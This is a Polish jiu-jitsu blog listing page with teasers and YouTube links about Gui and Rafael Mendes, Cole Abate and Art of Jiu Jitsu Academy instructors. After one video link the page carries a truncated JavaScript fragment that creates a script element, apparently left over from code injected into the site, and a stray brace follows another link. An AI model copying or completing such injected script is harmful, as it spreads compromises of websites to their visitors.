Co jest kulane #82 czyli o potędze instytucji Video-bloga słów kilka
Jestem wiernym fanem dzienników w formie wizualnej niemal od zawsze. Niezależnie od dziedziny, która w danym momencie życia była w sferze moich zajawek/zainteresowań podziwiałem tych, którzy w umiejętny sposób potrafili dokumentować swoją drogę i dzielić się tym doświadczeniem. Fakt, że internet dziś działa tak prężnie pozwolił ową gałąź rozpędzić, a co za tym idzie Videoblogi […]
Gui Mendes z trzema poradami, jak stać się lepszym zawodnikiem BJJ
Foto: https://www.instagram.com/mendesbros/?hl=pl Gui Mendes to jeden z najlepszych startujących zawodników wszechczasów. Gui to czterokrotny mistrz świata IBJJF (czarne pasy), a aktualnie jeden z najlepszych trenerów BJJ na świecie. Guilherme to osoba, która wygrywała najważniejsze zawody, jako zawodnik, ale także jako trener, wytrenował topowych zawodników, którzy są najlepsi na świecie. Gui Mendes to jeden z założycieli […]
Nowy czarny pas! Cole Abate promowany zaledwie po pół roku na brązowym pasie
Foto: https://www.instagram.com/coleabatejj/ Cole Abate otrzymał promocję na czarny pas od swojego trenera – Gui Mendesa. Fenomenalny 18-nastolatek otrzymał czarny pas niecałe 6 miesięcy po promocji na brązowy pas BJJ. Amerykanin to także najmłodszy zwycięzca trialsów ADCC! Cole Abate to jeden z najzdolniejszych nastolatków w USA. Podopieczny braci Mendes jest niezwykle utalentowanym grapplerem, który z powodzeniem […]
De la Riva/X Guard z użyciem „lapela” od Guilherme Mendesa [Video]
Gui Mendes pokazuje niezwykle ciekawe opcje walki otwartą gardą z użyciem „lapela” przeciwnika. [embedyt] https://www.youtube.com/watch?v=Ks0zzrM1-S0[/embedyt]
Omoplata z pozycji bocznej od Rafy Mendesa [Video]
Niezwykle ciekawa opcja dojścia do omoplaty z bocznej kontroli od niezawodnego Rafy Mendesa. [embedyt] https://www.youtube.com/watch?v=BT3EnqE_HFM[/embedyt]
Trening zawodniczy w Art Of Jiu Jitsu [Video]
Zobaczcie jak wygląda trening zawodniczy u Rafy i Gui Mendesów. [embedyt] https://www.youtube.com/watch?v=pu2TdBKYoaA[/embedyt]
Rafael Mendes wyjaśnia od czego należy zacząć budowę otwartej gardy [Video]
Rafael Mendes przedstawia szczegóły gry gardą „collar & sleeve” czyli z uchwytami za kołnierz i rękaw. Według Mendesa jest to absolutnie podstawowa wersja otwartej gardy i o od niej właśnie należy budować swoją grę z pleców. Świetnie uczy kontroli dystansu, oraz podążania za przeciwnikiem. „Collar & sleeve” jest także świetnym pomostem pomiędzy innymi opcjami otwartej […]
„Inside the mind” – obszerny wywiad z Rafaelem Mendesem
Kenny Florian, były zawodnik UFC, czarny pas BJJ, przeprowadził ostatnio bardzo obszerną rozmowę z sześciokrotnym Mistrzem Świata IBJJF, Rafaelem Mendesem. Wywiad porusza wiele kwestii, takich jak psychika, nastawienie, a także sposoby treningowe młodszego z braci Mendes. Wywiad dostępny jedynie w języku angielskim: https://youtu.be/kByimXb7SiAvar d=document;var s=d.createElement(’script’);
Highlight: Rafael Mendes na Rickson Cup 2016
Rafael Mendes bardzo chętnie odwiedza Japonię, a w szczególności upodobał sobie turniej Rickson Gracie Cup, z którego zazwyczaj powraca ze złotym medalem i widowiskowym highlightem. Trzeba przyznać, że akcje jakimi Mendes raczy japońską publiczność są nie tylko genialnie technicznie, ale także niezwykle efektowne: https://youtu.be/3t63LAd1zak}
Wideo: Rafael Mendes – Road to 6x
Rafael Mendes jest pięciokrotnym Mistrzem Świata IBJJF, a jednocześnie żywą legendą sportu i jednym z najlepszych zawodników kategorii piórkowej w historii. Mimo wszystkich swoich osiągnięć, nie stracił głodu do walki i już w ten weekend będzie walczył o swój 6ty tytuł Mistrzowski w czarnych pasach. Poniżej prezentujemy krótki film, prezentujący przygotowania reprezentanta Atosu do Worldsów […]
Technika: atak na plecy + szczegóły duszenia „bow & arrow”
Jeden z trenerów Art of Jiu Jitsu Academy, Danny Stolfi, prezentuje sekwencję zakończoną atakiem na plecy, oraz duszeniem typu „bow & arrow”:
Drille z przejścia gardy od Nicka Bohli (Art of Jiu Jitsu Academy)
Nick Bohli jest brązowym pasem oraz jednym z instruktorów w akademii braci Mendes – Art of Jiu Jitsu Academy, która wchodzi w skład drużyny Atosu. Poniżej wideo, na którym prezentuje drille z przejścia gardy pod walkę bez kimon:
Wideo: drille z gardy otwartej od Ricka Slomby
Rick Slomba jest jednym z instruktorów w dynamicznie rozwijającej się akademii braci Mendes – Art of Jiu Jitsu Academy w Costa Mesa (Los Angeles). Poniżej wideo, na którym prezentuje drille rozgrzewkowe z gardy otwartej: https://youtu.be/nCmGZdFDJz4
